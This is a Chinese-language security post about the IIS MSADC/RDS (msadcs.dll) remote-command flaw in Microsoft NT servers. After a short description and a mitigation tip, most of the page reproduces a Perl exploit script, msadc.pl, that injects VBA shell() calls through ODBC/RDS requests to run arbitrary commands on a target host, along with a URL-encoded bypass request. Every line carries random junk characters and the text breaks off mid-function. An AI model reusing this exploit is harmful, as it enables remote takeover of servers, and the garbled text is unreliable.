IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
iM3V=&) c_!cv":s 涉及程序:
0% I=d Microsoft NT server
@>H75 ,UdVNA 描述:
4x[S\,20 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
07=mj%yV t}/( b/VD 详细:
x`)&J
B 如果你没有时间读详细内容的话,就删除:
[Cv/{f3]u{ c:\Program Files\Common Files\System\Msadc\msadcs.dll
I?G: p+ 有关的安全问题就没有了。
r1RM
5bpEYW+ 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
R<N
]B |*tp16+6 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
k~
/Nv=D 关于利用ODBC远程漏洞的描述,请参看:
Aj]V`B:65 FH+s s! http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm \v)+.m?n gCY';\f! 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
v0jgki4t http://www.microsoft.com/security/bulletins/MS99-025faq.asp ]
{HI?V /%A*aGyIc 这里不再论述。
I`4*+a'q& L4y4RG/SJ: 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
y9}>: pj4 $l&(%\pp /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
8 uwq-/$ 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
n^6j9FQ7 N^:9Fz L8#5*8W6 #将下面这段保存为txt文件,然后: "perl -x 文件名"
OX\F~+ ;q6Ki.D #!perl
bhlG,NTP #
l"]}Ts# # MSADC/RDS 'usage' (aka exploit) script
GYUn6P #
p,i[W.dy.' # by rain.forest.puppy
'u<juFr #
y;@:ulv[ # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
"o}+Ciul # beta test and find errors!
,]c
1A$Sr0 3
xp)a%=7 use Socket; use Getopt::Std;
!H>R%g#28_ getopts("e:vd:h:XR", \%args);
M?uC%x+S$_ [-oc>;`=l print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
AX/m25x LOV)3{m if (!defined $args{h} && !defined $args{R}) {
H\tUpan6fy print qq~
Jz
*;q~ Usage: msadc.pl -h <host> { -d <delay> -X -v }
\7'{g@C( -h <host> = host you want to scan (ip or domain)
$43qME -d <seconds> = delay between calls, default 1 second
&m:uO^-D -X = dump Index Server path table, if available
/{--+
C -v = verbose
>]5P
3\AQV -e = external dictionary file for step 5
W#WV fr ysf~|r4s Or a -R will resume a command session
n3
r3"~i j
Dv{/) ~; exit;}
G?/DrnK: u.Tcg^ v $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
v^iL5y! if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
yFlm[K5YD if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
a ]tVd# if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
Px`!A EFd[ $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
':m,)G5& if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
ly3\e_z:G 2n"V}p>8i# if (!defined $args{R}){ $ret = &has_msadc;
Z lzjVU/E die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
hJ~Uf5Q bTs?!~q print "Please type the NT commandline you want to run (cmd /c assumed):\n"
'o>B'$ . "cmd /c ";
D#JL!A%O $in=<STDIN>; chomp $in;
@eIJ]p $command="cmd /c " . $in ;
Cg?&wj< +<3XJ7D if (defined $args{R}) {&load; exit;}
XtSkh] #z! =uYYsC\T print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
8::$AQL3 &try_btcustmr;
mg.kr: 6?~"V print "\nStep 2: Trying to make our own DSN...";
lHe{\N[C &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
'|p$)yx2 "v({, print "\nStep 3: Trying known DSNs...";
v+#}rUTF &known_dsn;
v"XGC i91L f-G:uI_ print "\nStep 4: Trying known .mdbs...";
!SdSE^lz` &known_mdb;
D}8[bWF NmJWU:W_@ if (defined $args{e}){
"PTZ%7YH} print "\nStep 5: Trying dictionary of DSN names...";
!1 8clL &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
d,Yw5$i qjdMqoOCjl print "Sorry Charley...maybe next time?\n";
?3zc=J"t exit;
ZE=Sp=@)j l@+7:n4K0 ##############################################################################
MUREiL9L| oO|KEY( sub sendraw { # ripped and modded from whisker
Xi,CV[L\ sleep($delay); # it's a DoS on the server! At least on mine...
%Iv,@}kvT+ my ($pstr)=@_;
6BbGA*%{ socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
h"_;IUZ! die("Socket problems\n");
^!ZC?h!rG if(connect(S,pack "SnA4x8",2,80,$target)){
mmEYup(l0; select(S); $|=1;
i}mVQ\j5 print $pstr; my @in=<S>;
`e|0g"oP select(STDOUT); close(S);
F9E<K]7K return @in;
6qoyiT%P& } else { die("Can't connect...\n"); }}
Vjp1RWb B43HNs ##############################################################################
e .2ib?8 (#Gw1 sub make_header { # make the HTTP request
XJ` ]ga my $msadc=<<EOT
dx&'fe*? POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
s{S4J'VW User-Agent: ACTIVEDATA
iAa.}CI,zB Host: $ip
"UGY2skf; Content-Length: $clen
4UlyxA~ Connection: Keep-Alive
+"cq(Y@ vCxD~+zf ADCClientVersion:01.06
|_*O '#jx Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
=Ja] T~0A Wm"4Ae:B --!ADM!ROX!YOUR!WORLD!
;8*`{F[ Content-Type: application/x-varg
EQ`(yj Content-Length: $reqlen
c5l.B#-lY EB=-H# EOT
sCi s4gX.] ; $msadc=~s/\n/\r\n/g;
Q}K#'Og return $msadc;}
7X q,z #Jn_c0 ##############################################################################
?ROqn6k&c ~\.w^*$#Y sub make_req { # make the RDS request
^3{TZ=_;| my ($switch, $p1, $p2)=@_;
OK6]e3UO my $req=""; my $t1, $t2, $query, $dsn;
;04Ldb1{|3 L
ugn3+ if ($switch==1){ # this is the btcustmr.mdb query
Rhz_t@e $query="Select * from Customers where City=" . make_shell();
`m>*d!h= $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
:x{NBvUIc $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
S\5bmvqP" #H{<gjs] elsif ($switch==2){ # this is general make table query
(
Qcp{q $query="create table AZZ (B int, C varchar(10))";
Y/ee~^YxK' $dsn="$p1";}
`m?c;,\ Vf'd*-_!Q< elsif ($switch==3){ # this is general exploit table query
Jd(,/q $query="select * from AZZ where C=" . make_shell();
=fve/_Q~ $dsn="$p1";}
\ 3?LqJ gu<'QV" elsif ($switch==4){ # attempt to hork file info from index server
"D'B3; uWK $query="select path from scope()";
/.i.TQ] $dsn="Provider=MSIDXS;";}
I8<,U!$ jhu&&==\f elsif ($switch==5){ # bad query
GXjfQ~<] $query="select";
H5]^
6
HwX $dsn="$p1";}
a,+@|TJ,i T[4<R 5} $t1= make_unicode($query);
R~jHr
)0.# $t2= make_unicode($dsn);
DrBUe'RH:M $req = "\x02\x00\x03\x00";
0iK;Egwm $req.= "\x08\x00" . pack ("S1", length($t1));
D3^7y.u<) $req.= "\x00\x00" . $t1 ;
J?}WQLVP' $req.= "\x08\x00" . pack ("S1", length($t2));
4RV%Z!kcD! $req.= "\x00\x00" . $t2 ;
^;maotHn $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
P*@2.#oO return $req;}
:ORR_f`> @qjfZH@ ##############################################################################
MR,R}B$ 3=$q sub make_shell { # this makes the shell() statement
Qb; d:@9 return "'|shell(\"$command\")|'";}
5qkH|*Z3 ;w-qHha ##############################################################################
PN<C=gAe O Xi@c;F sub make_unicode { # quick little function to convert to unicode
ZP$-uaa- my ($in)=@_; my $out;
^/=#UQ*k for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
f\1A!Yp return $out;}
+|{RE.DL $GQ-(/ ##############################################################################
z%7SrUj2 j.ldaLdG sub rdo_success { # checks for RDO return success (this is kludge)
kWb2F7m my (@in) = @_; my $base=content_start(@in);
kctzNGF| if($in[$base]=~/multipart\/mixed/){
he -Ji return 1 if( $in[$base+10]=~/^\x09\x00/ );}
+"}=d3E6 return 0;}
eo!zW jWO/
xX ##############################################################################
GK}'R= M9f?q.Bv sub make_dsn { # this makes a DSN for us
!k(_PM my @drives=("c","d","e","f");
CGP3qHrXt print "\nMaking DSN: ";
[;.`,/ foreach $drive (@drives) {
_l],
"[d print "$drive: ";
a=$t &7;, my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
gx:;&4AD "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
).HDru-2 . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
*tX{MSYW $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
9Sq%s& return 0 if $2 eq "404"; # not found/doesn't exist
%q322->Z if($2 eq "200") {
hv$m4,0WB foreach $line (@results) {
H,<7G;FPT return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
g3sUl&K } return 0;}
b7\ cxgRq \zkw2*t ##############################################################################
vF/ =J lhYn5d)DV
sub verify_exists {
#W2[ my ($page)=@_;
5Wj;
[2
) my @results=sendraw("GET $page HTTP/1.0\n\n");
.LRxP#B return $results[0];}
4^'3&vu eL.7#SIr} ##############################################################################
w$5A|%Y+V} daAyx- sub try_btcustmr {
5;TuVU.8Q my @drives=("c","d","e","f");
XfzVcap my @dirs=("winnt","winnt35","winnt351","win","windows");
tNmy&
nsA jN+N(pIi.o foreach $dir (@dirs) {
+|%Sx print "$dir -> "; # fun status so you can see progress
%im#ww L% foreach $drive (@drives) {
+>g`m)?p print "$drive: "; # ditto
W {.78Zi9K $reqlen=length( make_req(1,$drive,$dir) ) - 28;
n1:v HBM@\ $reqlenlen=length( "$reqlen" );
D~&Mwsi $clen= 206 + $reqlenlen + $reqlen;
<B&R6<]T VzRx%j/i my @results=sendraw(make_header() . make_req(1,$drive,$dir));
QI!i if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
:Px\qh}K else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
M`,XyIn IdRdW{o ##############################################################################
H.O(*Q= cf[vf!vi sub odbc_error {
3@O0^v- my (@in)=@_; my $base;
~HUZ#rUHm> my $base = content_start(@in);
?Nl"sVCo if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
A@$fb}CF $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
iIU(
C.I $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
Gbd?%{Xc- $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
3BMS_,P return $in[$base+4].$in[$base+5].$in[$base+6];}
R~B0+ :6 print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
udT xNl! print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
6|;0ax4:P $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
`f ' C[a" fEu9Jk ##############################################################################
+>3]%i-\ It
2UfW sub verbose {
qZG-Lh my ($in)=@_;
,p,Du
F return if !$verbose;
U=o Z.\ print STDOUT "\n$in\n";}
a0zG(7.D NR/-m7#- ##############################################################################
| Odu4 Q .Y/-8H-3v sub save {
m(3);)d my ($p1, $p2, $p3, $p4)=@_;
4IGxI7~27# open(OUT, ">rds.save") || print "Problem saving parameters...\n";
W<gD6+=8 print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
.{N\<